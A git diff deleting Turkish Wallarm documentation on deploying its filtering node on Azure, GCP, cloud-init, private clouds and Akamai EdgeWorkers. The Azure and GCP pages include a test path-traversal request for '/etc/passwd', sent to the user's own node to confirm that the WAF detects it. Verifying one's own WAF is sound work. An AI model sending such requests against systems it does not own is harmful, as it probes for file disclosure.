              `--gitrepo-dir ./dir1`). - * `--gitrepo-mount-path`: yapılandırma dosyasının bağlanacağı konteyner dizini. Yapılandırma dosyaları NGINX tarafından kullanılan aşağıdaki konteyner dizinlerine bağlanabilir: - - * `/etc/nginx/conf.d` — genel ayarlar - * `/etc/nginx/http.d` — sanal ana bilgisayar ayarları - * `/var/www/html` — statik dosyalar - - Filtreleme düğümü yönergeleri `/etc/nginx/http.d/default.conf` dosyasında tanımlanmalıdır. - - * `--environment-variables`: filtreleme düğümü ve Wallarm Cloud bağlantısı için ayarları içeren ortam değişkenleri (kullanılabilir değişkenler aşağıdaki tabloda listelenmiştir). Lütfen `WALLARM_API_TOKEN` değerini açıkça iletmeniz önerilmez. - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. [Azure portalını](https://portal.azure.com/) açın ve oluşturulan kaynağın kaynaklar listesinde görüntülendiğinden emin olun. -1. [Filtreleme düğümünün çalışmasını test edin](#testing-the-filtering-node-operation). - - -## Filtreleme düğümünün çalışmasını test etme - -1. Azure portalında oluşturduğunuz kaynağı açın ve **FQDN** değerini kopyalayın. - - ![Kapsayıcı örneğini ayarlama][copy-container-ip-azure-img] - - **FQDN** alanı boşsa, lütfen konteynerin durumunun **Running** olduğundan emin olun. - -2. Kopyaladığınız alan adına test [Yol Geçişi (Path Traversal)][ptrav-attack-docs] saldırısını içeren isteği gönderin: - - ``` - curl http:///etc/passwd - ``` -3. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) üzerinde açın ve saldırının listede görüntülendiğinden emin olun. - ![UI'de Attacks][attacks-in-ui-image] -1. İsteğe bağlı olarak, düğümün çalışmasının diğer yönlerini [test edin][link-docs-check-operation]. - -Konteyner dağıtımı sırasında oluşan hatalara ilişkin ayrıntılar, Azure portalındaki kaynak ayrıntılarının **Containers** → **Logs** sekmesinde görüntülenir. Kaynak kullanılamıyorsa, lütfen gerekli filtreleme düğümü parametrelerinin doğru değerlerle konteynere iletildiğinden emin olun. \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/cloud-init.md b/docs/latest-tr/installation/cloud-platforms/cloud-init.md deleted file mode 100644 index cfa1048b55..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/cloud-init.md +++ /dev/null @@ -1,84 +0,0 @@ -# Wallarm cloud-init Betiğinin Belirtimi - -Infrastructure as Code (IaC) yaklaşımını izliyorsanız, Wallarm düğümünü genel buluta dağıtmak için [`cloud-init`](https://cloudinit.readthedocs.io/en/latest/index.html) betiğini kullanmanız gerekebilir. 4.0 sürümünden itibaren, Wallarm bulut imajlarını bu konuda açıklanan, kullanıma hazır `cloud-init.py` betiğiyle birlikte dağıtmaktadır. - -## Wallarm cloud-init betiğine genel bakış - -Wallarm `cloud-init` betiği, [Wallarm AWS bulut imajı](https://aws.amazon.com/marketplace/pp/prodview-5rl4dgi4wvbfe) içinde `/opt/wallarm/usr/share/wallarm-common/cloud-init.py` yolunda bulunur. Bu betik, aşağıdaki ana aşamalarla hem ilk hem de gelişmiş örnek yapılandırmasını gerçekleştirir: - -* Wallarm Cloud'da daha önce oluşturulmuş Wallarm düğümünü Wallarm `register-node` betiğini çalıştırarak başlatır -* Örneği `preset` değişkeninde belirtilen proxy yaklaşımına uygun şekilde yapılandırır (Wallarm'ı [Terraform modülü](aws/terraform-module/overview.md) ile dağıtıyorsanız) -* Örneği NGINX snippet'larına göre ince ayar yapar -* Wallarm düğümünü ince ayarlar -* Yük Dengeleyici için sağlık kontrollerini gerçekleştirir - -`cloud-init` betiği yalnızca örnek önyüklemesinde bir kez çalışır, örneğin yeniden başlatılması betiği yeniden tetiklemez. Betik kavramına ilişkin daha fazla detayı [AWS dokümantasyonunda](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) bulabilirsiniz. - -## Wallarm cloud-init betiğini çalıştırma - -Wallarm cloud-init betiğini şu şekilde çalıştırabilirsiniz: - -* Bir bulut örneği başlatın ve `cloud-init.py` betiğinin çalıştırılmasını örnek metadatası ile tanımlayın -* `cloud-init.py` betiğini içeren bir Launch Template oluşturun ve bunun üzerine bir Auto Scaling group oluşturun - -Wallarm düğümünü [httpbin.org](https://httpbin.org) için bir proxy sunucusu olarak çalıştırmak amacıyla betiğin çalıştırılmasına örnek: - -```bash -#!/bin/bash -set -e - -### NGINX'in Wallarm etkin değilken çalışmasını engelleyin, tüm işlemler tamamlanmadan -### sağlık denetimi çalıştırılması önerilmez -### -systemctl stop nginx.service - -/opt/wallarm/usr/share/wallarm-common/cloud-init.py \ - -t xxxxx-base64-registration-token-from-wallarm-cloud-xxxxx \ - -p proxy \ - -m monitoring \ - --proxy-pass https://httpbin.org - -systemctl restart nginx.service - -echo Wallarm Node successfuly configured! -``` - -Infrastructure as Code (IaC) yaklaşımını karşılamak için, Wallarm `cloud-init` betiğinin kullanımına dair açıklayıcı bir örnek olabilecek [AWS için Terraform modülünü](aws/terraform-module/overview.md) uyguladık. - -## Wallarm cloud-init betiği yardım verileri - -```plain -usage: /opt/wallarm/usr/share/wallarm-common/cloud-init.py [-h] -t TOKEN [-H HOST] [--skip-register] [-p {proxy,custom}] - [-m {off,monitoring,safe_blocking,block}] [--proxy-pass PROXY_PASS] - [--libdetection] [--global-snippet GLOBAL_SNIPPET_FILE] - [--http-snippet HTTP_SNIPPET_FILE] [--server-snippet SERVER_SNIPPET_FILE] - [-l LOG_LEVEL] - -Runs the Wallarm node with the specified configuration in the PaaS cluster. https://docs.wallarm.com/installation/cloud-platforms/cloud-init/ - -optional arguments: - -h, --help show this help message and exit - -t TOKEN, --token TOKEN - Wallarm node token copied from the Wallarm Console UI. - -H HOST, --host HOST Wallarm API server specific for the Wallarm Cloud being used: https://docs.wallarm.com/about-wallarm/overview/#cloud. By default, api.wallarm.com. - --skip-register Skips the stage of local running the node created in the Wallarm Cloud (skips the register-node script - execution). This stage is crucial for successful node deployment. - -p {proxy,custom}, --preset {proxy,custom} - Wallarm node preset: "proxy" for the node to operate as a proxy server, "custom" for configuration defined via NGINX snippets only. - -m {off,monitoring,safe_blocking,block}, --mode {off,monitoring,safe_blocking,block} - Traffic filtration mode: https://docs.wallarm.com/admin-en/configure-parameters-en/#wallarm_mode. - --proxy-pass PROXY_PASS - Proxied server protocol and address. Required if "proxy" is specified as a preset. - --libdetection Whether to use the libdetection library during the traffic analysis: https://docs.wallarm.com/about-wallarm/protecting-against-attacks/#library-libdetection. - --global-snippet GLOBAL_SNIPPET_FILE - Custom configuration to be added to the NGINX global configuration. - --http-snippet HTTP_SNIPPET_FILE - Custom configuration to be added to the "http" configuration block of NGINX. - --server-snippet SERVER_SNIPPET_FILE - Custom configuration to be added to the "server" configuration block of NGINX. - -l LOG_LEVEL, --log LOG_LEVEL - Level of verbosity. - -This script covers a few most popular configurations for AWS, GCP, Azure and other PaaS. If you need a more powerful configuration, -you are welcome to review Wallarm node public documentation: https://docs.wallarm.com. -``` \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/gcp/docker-container.md b/docs/latest-tr/installation/cloud-platforms/gcp/docker-container.md deleted file mode 100644 index 0a19a2d857..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/gcp/docker-container.md +++ /dev/null @@ -1,171 +0,0 @@ -# Wallarm Docker İmajının GCP'ye Dağıtımı - -Bu hızlı kılavuz, [NGINX tabanlı Wallarm node'unun Docker imajını](https://hub.docker.com/r/wallarm/node) [Google Compute Engine (GCE) bileşenini](https://cloud.google.com/compute) kullanarak Google Cloud Platform'a dağıtma adımlarını sunar. - -!!! warning "Talimatların sınırlamaları" - Bu talimatlar, yük dengeleme ve node otomatik ölçeklendirme yapılandırmasını kapsamaz. Bu bileşenleri kendiniz kuracaksanız, ilgili [GCP dokümantasyonunu](https://cloud.google.com/compute/docs/load-balancing-and-autoscaling) okumanızı öneririz. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/cloud-platforms/google-gce-use-cases.md" - -## Gereksinimler - -* Aktif GCP hesabı -* [GCP projesi oluşturuldu](https://cloud.google.com/resource-manager/docs/creating-managing-projects) -* [Compute Engine API](https://console.cloud.google.com/apis/library/compute.googleapis.com?q=compute%20eng&id=a08439d8-80d6-43f1-af2e-6878251f018d) etkin -* [Google Cloud SDK (gcloud CLI) yüklü ve yapılandırılmış](https://cloud.google.com/sdk/docs/quickstart) -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim -* Saldırı tespit kurallarına ve [API spesifikasyonlarına][api-policy-enf-docs] güncellemeleri indirmek, ayrıca ülkeleriniz, bölgeleriniz veya veri merkezleriniz için [izinli listeye (allowlist), yasaklı listeye (denylist) veya gri listeye (graylist) alınmış][graylist-docs] IP'lerin tam listesini almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" - -## Wallarm node Docker konteyneri yapılandırma seçenekleri - ---8<-- "../include/waf/installation/docker-running-options.md" - -## Ortam değişkenleri aracılığıyla yapılandırılmış Wallarm node Docker konteynerinin dağıtımı - -Yalnızca ortam değişkenleriyle yapılandırılmış konteynerleştirilmiş Wallarm filtreleme node'unu dağıtmak için [GCP Console veya gcloud CLI](https://cloud.google.com/compute/docs/containers/deploying-containers) kullanılabilir. Bu talimatta gcloud CLI kullanılmıştır. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. Örneği Wallarm Cloud'a bağlamak için kullanılacak Wallarm node token'ını yerel ortam değişkeni olarak ayarlayın: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. Çalışan Docker konteyneriyle örneği [`gcloud compute instances create-with-container`](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create-with-container) komutuyla oluşturun: - - === "Wallarm US Cloud için komut" - ```bash - gcloud compute instances create-with-container \ - --zone \ - --tags http-server \ - --container-env WALLARM_API_TOKEN=${WALLARM_API_TOKEN} \ - --container-env NGINX_BACKEND= \ - --container-env WALLARM_API_HOST=us1.api.wallarm.com \ - --container-image registry-1.docker.io/wallarm/node:6.5.1 - ``` - === "Wallarm EU Cloud için komut" - ```bash - gcloud compute instances create-with-container \ - --zone \ - --tags http-server \ - --container-env WALLARM_API_TOKEN=${WALLARM_API_TOKEN} \ - --container-env NGINX_BACKEND= \ - --container-image registry-1.docker.io/wallarm/node:6.5.1 - ``` - - * ``: örnek adı, örneğin: `wallarm-node`. - * `--zone`: örneğe ev sahipliği yapacak [bölge](https://cloud.google.com/compute/docs/regions-zones). - * `--tags`: örnek etiketleri. Etiketler, örneğin diğer kaynaklara erişilebilirliğini yapılandırmak için kullanılır. Bu durumda, 80 numaralı portu açan `http-server` etiketi örneğe atanır. - * `--container-image`: filtreleme node'unun Docker imajına bağlantı. - * `--container-env`: filtreleme node'u yapılandırması için ortam değişkenleri (kullanılabilir değişkenler aşağıdaki tabloda listelenmiştir). `WALLARM_API_TOKEN` değerinin açıkça geçirilmesi tavsiye edilmez. - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" - - * `gcloud compute instances create-with-container` komutunun tüm parametreleri [GCP dokümantasyonunda](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create-with-container) açıklanmıştır. -1. [GCP Console → **Compute Engine** → VM instances](https://console.cloud.google.com/compute/instances) sayfasını açın ve örneğin listede görüntülendiğini doğrulayın. -1. [Filtreleme node'unun çalışmasını test edin](#testing-the-filtering-node-operation). - -## Bağlanan dosya üzerinden yapılandırılmış Wallarm node Docker konteynerinin dağıtımı - -Ortam değişkenleri ve bağlanan dosya üzerinden yapılandırılmış konteynerleştirilmiş Wallarm filtreleme node'unu dağıtmak için bir örnek oluşturmalı, filtreleme node'u yapılandırma dosyasını bu örneğin dosya sistemine yerleştirmeli ve Docker konteynerini bu örnekte çalıştırmalısınız. Bu adımlar [GCP Console veya gcloud CLI](https://cloud.google.com/compute/docs/containers/deploying-containers) aracılığıyla gerçekleştirilebilir. Bu talimatta gcloud CLI kullanılmıştır. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. [`gcloud compute instances create`](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create) komutunu kullanarak Compute Engine kayıt defterindeki herhangi bir işletim sistemi imajına dayalı örneği oluşturun: - - ```bash - gcloud compute instances create \ - --image \ - --zone \ - --tags http-server - ``` - - * ``: örnek adı. - * `--image`: Compute Engine kayıt defterindeki işletim sistemi imajının adı. Oluşturulan örnek bu imaja dayanacaktır ve daha sonra Docker konteynerini çalıştırmak için kullanılacaktır. Bu parametre atlanırsa, örnek Debian 10 imajına dayanır. - * `--zone`: örneğe ev sahipliği yapacak [bölge](https://cloud.google.com/compute/docs/regions-zones). - * `--tags`: örnek etiketleri. Etiketler, örneğin diğer kaynaklara erişilebilirliğini yapılandırmak için kullanılır. Bu durumda, 80 numaralı portu açan `http-server` etiketi örneğe atanır. - * `gcloud compute instances create` komutunun tüm parametreleri [GCP dokümantasyonunda](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create) açıklanmıştır. -1. [GCP Console → **Compute Engine** → VM instances](https://console.cloud.google.com/compute/instances) sayfasını açın ve örneğin listede görüntülendiğini ve **RUNNING** durumunda olduğunu doğrulayın. -1. [GCP talimatlarını](https://cloud.google.com/compute/docs/instances/ssh) izleyerek örneğe SSH üzerinden bağlanın. -1. Uygun işletim sistemi için [talimatları](https://docs.docker.com/engine/install/#server) izleyerek örneğe Docker paketlerini yükleyin. -1. Örneği Wallarm Cloud'a bağlamak için kullanılacak Wallarm node token'ını yerel ortam değişkeni olarak ayarlayın: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. Örnekte, filtreleme node'u yapılandırmasını içeren `default` dosyasıyla birlikte bir dizin oluşturun (örneğin dizin adı `configs` olabilir). Minimum ayarlarla dosya örneği: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [Yapılandırma dosyasında belirtilebilecek filtreleme node'u yönergeleri seti →][nginx-waf-directives] -1. Ortam değişkenleri geçirilmiş ve yapılandırma dosyası bağlanmış şekilde `docker run` komutunu kullanarak Wallarm node Docker konteynerini çalıştırın: - - === "Wallarm US Cloud için komut" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v : -p 80:80 wallarm/node:6.5.1 - ``` - === "Wallarm EU Cloud için komut" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -v : -p 80:80 wallarm/node:6.5.1 - ``` - - * ``: önceki adımda oluşturulan yapılandırma dosyasının yolu. Örneğin, `configs`. - * ``: yapılandırma dosyasının bağlanacağı konteyner dizini. Yapılandırma dosyaları NGINX tarafından kullanılan aşağıdaki konteyner dizinlerine bağlanabilir: - - * `/etc/nginx/conf.d` — genel ayarlar - * `/etc/nginx/http.d` — sanal host ayarları - * `/var/www/html` — statik dosyalar - - Filtreleme node'u yönergeleri `/etc/nginx/http.d/default.conf` dosyasında tanımlanmalıdır. - - * `-p`: filtreleme node'unun dinlediği port. Değer, örnek portuyla aynı olmalıdır. - * `-e`: filtreleme node'u yapılandırması için ortam değişkenleri (kullanılabilir değişkenler aşağıdaki tabloda listelenmiştir). `WALLARM_API_TOKEN` değerinin açıkça geçirilmesi tavsiye edilmez. - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. [Filtreleme node'unun çalışmasını test edin](#testing-the-filtering-node-operation). - -## Filtreleme node'unun çalışmasını test etme - -1. [GCP Console → **Compute Engine** → VM instances](https://console.cloud.google.com/compute/instances) sayfasını açın ve **External IP** sütunundan örneğin IP adresini kopyalayın. - - ![Konteyner örneğinin ayarlanması][copy-container-ip-gcp-img] - - IP adresi boşsa, lütfen örneğin **RUNNING** durumunda olduğundan emin olun. - -2. Kopyaladığınız adrese test [Path Traversal][ptrav-attack-docs] saldırısıyla istek gönderin: - - ``` - curl http:///etc/passwd - ``` -3. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) üzerinde açın ve saldırının listede göründüğünden emin olun. - ![UI'de Attacks][attacks-in-ui-image] -1. İsteğe bağlı olarak, node'un çalışmasının diğer yönlerini [test edin][link-docs-check-operation]. - -Konteyner dağıtımı sırasında oluşan hatalara ilişkin ayrıntılar, örneğin menüsündeki **View logs** bölümünde görüntülenir. Örnek erişilemezse, lütfen gerekli filtreleme node'u parametrelerinin doğru değerlerle konteynere geçirildiğinden emin olun. \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/private-cloud.md b/docs/latest-tr/installation/cloud-platforms/private-cloud.md deleted file mode 100644 index 1e726e339f..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/private-cloud.md +++ /dev/null @@ -1,47 +0,0 @@ -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Özel Bulutlarda Wallarm Dağıtımı - -Özel bulutlar, kaynaklar üzerinde özel kullanım ve kontrol sağlayan, yalnızca tek bir kuruluş veya varlık için devreye alınmış bulut ortamlarıdır. Bu makale, Wallarm düğümünün özel bulutlara dağıtım ilkelerine genel bir bakış sunar. - -## Adım 1: Kapsamınızı ve Wallarm dağıtım yaklaşımınızı anlayın - -Özel bulutunuza Wallarm dağıtmadan önce, uygulama ortamınızın kapsamını anlamanız ve Wallarm dağıtımı için en uygun yaklaşımı belirlemeniz önemlidir. Bu değerlendirme sırasında aşağıdaki özellikleri göz önünde bulundurun: - -* Güvence altına alınacak kapsamın değerlendirilmesi: uygulama ortamınızı değerlendirin ve korunması gereken kritik uygulamaları belirleyin. Veri hassasiyeti, ihlallerin potansiyel etkisi ve uyumluluk gereklilikleri gibi faktörleri dikkate alın. Bu değerlendirme, özel bulutunuzdaki en önemli varlıkları korumaya odaklanmanızı ve önceliklendirmenizi sağlar. -* [Hat içi](../inline/overview.md) ile [bant dışı (OOB)](../oob/overview.md) analiz: Wallarm’ı hat içi analiz için mi yoksa bant dışı trafik analizi için mi dağıtmak istediğinizi belirleyin. Hat içi analiz, Wallarm düğümlerinin uygulamalarınızın trafik yoluna yerleştirilmesini içerirken, OOB analiz yansıtılan trafiğin yakalanıp analiz edilmesini içerir. -* Wallarm düğümlerinin konumlandırılması: Seçtiğiniz yaklaşıma (hat içi veya OOB analiz) bağlı olarak, özel bulut altyapınız içinde Wallarm düğümlerinin uygun konumunu belirleyin. Hat içi analiz için, Wallarm düğümlerini uygulamalarınıza yakın, örneğin aynı VLAN veya alt ağ içinde konumlandırmayı düşünün. OOB analiz için, yansıtılan trafiğin analiz için Wallarm düğümlerine düzgün şekilde yönlendirileceğinden emin olun. - -## Adım 2: Wallarm için giden bağlantılara izin verin - -Özel bulutlarda, giden bağlantılara sıklıkla kısıtlamalar getirilir. Wallarm’ın düzgün çalışmasını sağlamak için, kurulum sırasında paketleri indirebilmesi, yerel düğüm örnekleri ile Wallarm Cloud arasında ağ bağlantısı kurabilmesi ve Wallarm özelliklerini tam olarak işler hale getirebilmesi amacıyla giden bağlantıları etkinleştirmek gerekir. - -Özel bulutlarda erişim genellikle IP adreslerine göre verilir. Wallarm’ın aşağıdaki DNS kayıtlarına erişmesi gerekir: - -* Güvenlik kurallarını almak, saldırı verilerini yüklemek vb. için Wallarm Cloud’a erişim sağlamak üzere aşağıdaki adresler: - - --8<-- "../include/wallarm-cloud-ips.md" -* Wallarm’ı bir Docker imajından çalıştırmayı seçerseniz Docker Hub tarafından kullanılan IP adresleri. -* `35.244.197.238` (`https://meganode.wallarm.com`) adresi; Wallarm’ı [All‑in‑One Installer](../nginx/all-in-one.md) ile kurmak için. Yükleyici bu adresten indirilir. -* Saldırı tespit kurallarının güncellemelerini ve [API spesifikasyonlarını][api-spec-enforcement-docs] indirmek ve ayrıca [allowlisted, denylisted, or graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak üzere aşağıdaki IP adresleri. - - --8<-- "../include/wallarm-cloud-ips.md" - -## Adım 3: Dağıtım modelini ve Wallarm artifaktını seçin - -Wallarm, kuruluşların özel bulut ortamları için en uygun seçeneği belirlemesine olanak tanıyan esnek dağıtım modelleri sunar. İki yaygın dağıtım modeli, **sanal aygıt dağıtımı** ve **Kubernetes dağıtımı**dır. - -### Sanal aygıt dağıtımı - -Bu modelde, Wallarm’ı özel bulut altyapınız içinde bir sanal aygıt olarak dağıtırsınız. Sanal aygıt, bir VM veya konteyner olarak kurulabilir. Wallarm düğümünü aşağıdaki artifaktlardan biriyle dağıtmayı seçebilirsiniz: - -* [NGINX tabanlı Docker imajı](../../admin-en/installation-docker-en.md) -* [Linux için All‑in‑One Installer](../nginx/all-in-one.md) - -### Kubernetes dağıtımı - -Özel bulutunuz kapsayıcı orkestrasyonu için Kubernetes kullanıyorsa, Wallarm Kubernetes-yerel bir çözüm olarak dağıtılabilir. Ingress denetleyicileri, sidecar konteynerleri veya özel Kubernetes kaynakları gibi özelliklerden yararlanarak Kubernetes kümeleriyle sorunsuz şekilde bütünleşir. Wallarm’ı aşağıdaki çözümlerden birini kullanarak dağıtmayı seçebilirsiniz: - -* [NGINX tabanlı Ingress denetleyicisi](../../admin-en/installation-kubernetes-en.md) -* [Sidecar denetleyicisi](../kubernetes/sidecar-proxy/deployment.md) \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/akamai-edgeworkers-for-wizard.md b/docs/latest-tr/installation/connectors/akamai-edgeworkers-for-wizard.md deleted file mode 100644 index 39d87ec030..0000000000 --- a/docs/latest-tr/installation/connectors/akamai-edgeworkers-for-wizard.md +++ /dev/null @@ -1,107 +0,0 @@ -# Sihirbaz için Akamai - -Wallarm Edge node'u Akamai'ye bağlayarak trafiği [senkron](../inline/overview.md) veya [asenkron](../oob/overview.md) modda — hiçbir isteği engellemeden — inceleyebilirsiniz. - -Bağlantıyı kurmak için aşağıdaki adımları izleyin. - -**1. Wallarm paketlerinden EdgeWorkers oluşturun** - -1. Platformunuz için sağlanan kod paketini indirin. -1. Akamai Control Center → **EdgeWorkers** → **Create EdgeWorker ID** bölümüne gidin, ardından `wallarm-main` kod paketini içe aktarın. -1. Başka bir EdgeWorker ID oluşturun ve `wallarm-sp` paketini içe aktarın. - -**2. Wallarm Node property’sini oluşturun** - -1. Akamai Property Manager içinde yeni bir property oluşturun: - - * **Property name / hostname**: ayrılmış Node hostname’i (ör. `node.customer.com`). Bu hostname, kontrol ettiğiniz bir DNS bölgesine ait olmalıdır. - * **Property type**: `Dynamic Site Accelerator`. - * **Origin type**: `Web server`. - * **Origin Hostname**: Wallarm node URL’si. -1. Property için TLS yapılandırın: - - * Ya **Akamai Managed Certificate** seçin (Akamai, `node.customer.com` için bir sertifika düzenleyip yönetecektir), ya da - * Gerekirse kendi sertifikanızı yükleyin. -1. Property’yi kaydedin. Akamai bir Edge Hostname oluşturacaktır, ör. `node.customer.com.edgesuite.net`. -1. DNS bölgenizde, Node hostname’inizi Edge Hostname’e işaret eden bir CNAME kaydı oluşturun, ör. `node.customer.com → node.customer.com.edgesuite.net`. -1. [Property’yi staging’de etkinleştirin](https://techdocs.akamai.com/property-mgr/docs/activate-stage), çalışmasını doğrulayın, ardından [production’da etkinleştirin](https://techdocs.akamai.com/property-mgr/docs/activate-prod). - -**3. Origin property’de değişkenleri yapılandırın** - -Mevcut origin property’nizi açın → **Edit New Version** ve aşağıdaki değişkenleri yapılandırın: - -* `PMUSER_WALLARM_NODE`: `wallarm-main` EdgeWorker’ı için oluşturduğunuz property adı. -* `PMUSER_WALLARM_HEADER_SECRET`: rastgele bir gizli dize (ör. `aj8shd82hjd72hs9`). Belirtilen değer, EdgeWorker isteği aynı property’ye geri ilettiğinde istek başlığı `x-wlrm-checked` olarak geçirilir. Bu, döngüleri önler ve sahte başlıklara sahip istekleri engeller. -* `PMUSER_WALLARM_ASYNC`: [asenkron (out-of-band)](../oob/overview.md) modu kullanılıyorsa, değişkeni `true` olarak ayarlayın. - -Gerekirse [diğer değişkenleri](akamai-edgeworkers.md#4-configure-variables-in-the-origin-property) değiştirin. - -**4. Wallarm EdgeWorker kuralı ekleyin** - -Origin property içinde yeni bir boş kural oluşturun: - -* Criteria: - - ``` - If - Request Header - x-wlrm-checked - does not exist - ``` -* Behavior: EdgeWorkers → the `wallarm-main` EdgeWorker - -**5. Spoofing önleme kuralı ekleyin** - -Origin property içinde başka bir yeni boş kural oluşturun: - -* Criteria: - - ``` - If - Request Header - x-wlrm-checked - exists - ``` -* Behavior: EdgeWorkers → the `wallarm-sp` EdgeWorker - -**6. Property’yi kaydedin ve etkinleştirin** - -1. Yeni origin property sürümünü kaydedin. -1. [Staging ortamında etkinleştirin](https://techdocs.akamai.com/property-mgr/docs/activate-stage). -1. Doğrulamanın ardından, [production’da etkinleştirin](https://techdocs.akamai.com/property-mgr/docs/activate-prod). - -[Daha fazla ayrıntı](akamai-edgeworkers.md) - - \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/akamai-edgeworkers.md b/docs/latest-tr/installation/connectors/akamai-edgeworkers.md deleted file mode 100644 index 2de4ac759f..0000000000 --- a/docs/latest-tr/installation/connectors/akamai-edgeworkers.md +++ /dev/null @@ -1,193 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Akamai için Wallarm Bağlayıcısı - -API’lerini [Akamai CDN](https://www.akamai.com/solutions/content-delivery-network) özellikleri üzerinden sunan müşteriler için Wallarm, özel bir EdgeWorker kod paketi sağlar. Bu EdgeWorker’ı dağıttığınızda, istekler origin’e ulaşmadan önce denetim ve koruma için bir Wallarm node’una yönlendirilir. Bu yaklaşım, origin altyapısında değişiklik yapmadan API trafiğini doğrudan edge üzerinde güvence altına almanıza imkân tanır. - -Wallarm’ı Akamai için bir bağlayıcı olarak kullanmak için, **Wallarm node’unu harici olarak dağıtmanız** ve trafiği analiz için Wallarm node’una yönlendirmek üzere **Akamai’de Wallarm tarafından sağlanan kod paketini uygulamanız** gerekir. - -Akamai için Wallarm bağlayıcısı hem [senkron (in-line)](../inline/overview.md) hem de [asenkron (out‑of‑band)](../oob/overview.md) trafik analizini destekler: - -=== "Senkron trafik akışı" - ![!Wallarm EdgeWorker ile Akamai senkron trafik akışı](../../images/waf-installation/gateways/akamai/traffic-flow-sync.png) -=== "Asenkron trafik akışı" - ![!Wallarm EdgeWorker ile Akamai asenkron trafik akışı](../../images/waf-installation/gateways/akamai/traffic-flow-async.png) - -## Kullanım durumları - -Bu çözüm, Akamai CDN üzerinden sunulan API’lerin güvence altına alınması için önerilir. - -## Sınırlamalar - -Akamai için Wallarm bağlayıcısının bazı sınırlamaları vardır: - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -Buna ek olarak, aşağıdaki [EdgeWorkers platform kısıtlamaları](https://techdocs.akamai.com/edgeworkers/docs/limitations) bağlayıcı tasarımını etkiler: - -* **httpRequest alan adı kısıtı** – Bir EdgeWorker’dan yapılan alt istekler, zaten Akamai tarafından sunulan bir alan adını (yani yapılandırılmış bir property) hedeflemelidir -* **Yalnızca HTTPS alt istekleri** – Başka bir protokol belirtilirse, EdgeWorkers bunu otomatik olarak HTTPS’e dönüştürür -* **Olay modeli kısıtı** – İstek ve yanıt gövdelerine yalnızca `responseProvider` olayı içinde erişilebilir - -Bu kısıtlamalar nedeniyle, Wallarm EdgeWorker, aynı property’ye geri bir alt istek yapan bir `responseProvider` fonksiyonu olarak uygulanmıştır. Bu alt istek, sonsuz döngüleri önleyen ve trafiğin Wallarm node’una yönlendirilmesine imkân tanıyan `x-wlrm-checked` özel başlığını içerir. - -## Gereksinimler - -Wallarm EdgeWorker’ı Akamai üzerinde dağıtmak için aşağıdaki gereksinimlerin karşılandığından emin olun: - -* Akamai teknolojilerine hâkimiyet -* Sözleşmenizde Akamai EdgeWorkers’ın [etkinleştirilmiş](https://techdocs.akamai.com/edgeworkers/docs/add-edgeworkers-to-contract) olması -* Origin backend’in mevcut olması - - * API servislerinizin erişilebilir bir origin sunucusunda çalışıyor olması - * Origin alan adının, bir CNAME kaydı üzerinden Akamai property ana bilgisayar adına çözünmesi -* Korumalı origin’e trafiği iletecek şekilde yapılandırılmış Akamai property - - * Property, **Default Rule** içinde **Origin Server** davranışını içermelidir - * Property, sunulan host için geçerli bir TLS sertifikasına sahip olmalıdır -* Bir DNS bölgesi (ör. `customer.com`) üzerinde kontrol ve Wallarm Node property’si için adanmış bir alt alan adı (ör. `node.customer.com`) ayırma hazırlığı - - Property oluşturulduktan sonra Akamai bir Edge Hostname döndürecektir (ör. `node.customer.com.edgesuite.net`). DNS’inizde, seçtiğiniz alt alan adını bu Edge Hostname’e işaret eden bir **CNAME kaydı** oluşturmalısınız. - -## Dağıtım - -### 1. Bir Wallarm node’u dağıtın - -Wallarm node’u, dağıtmanız gereken Wallarm platformunun çekirdek bileşenidir. Gelen trafiği inceler, kötü niyetli aktiviteleri tespit eder ve tehditleri 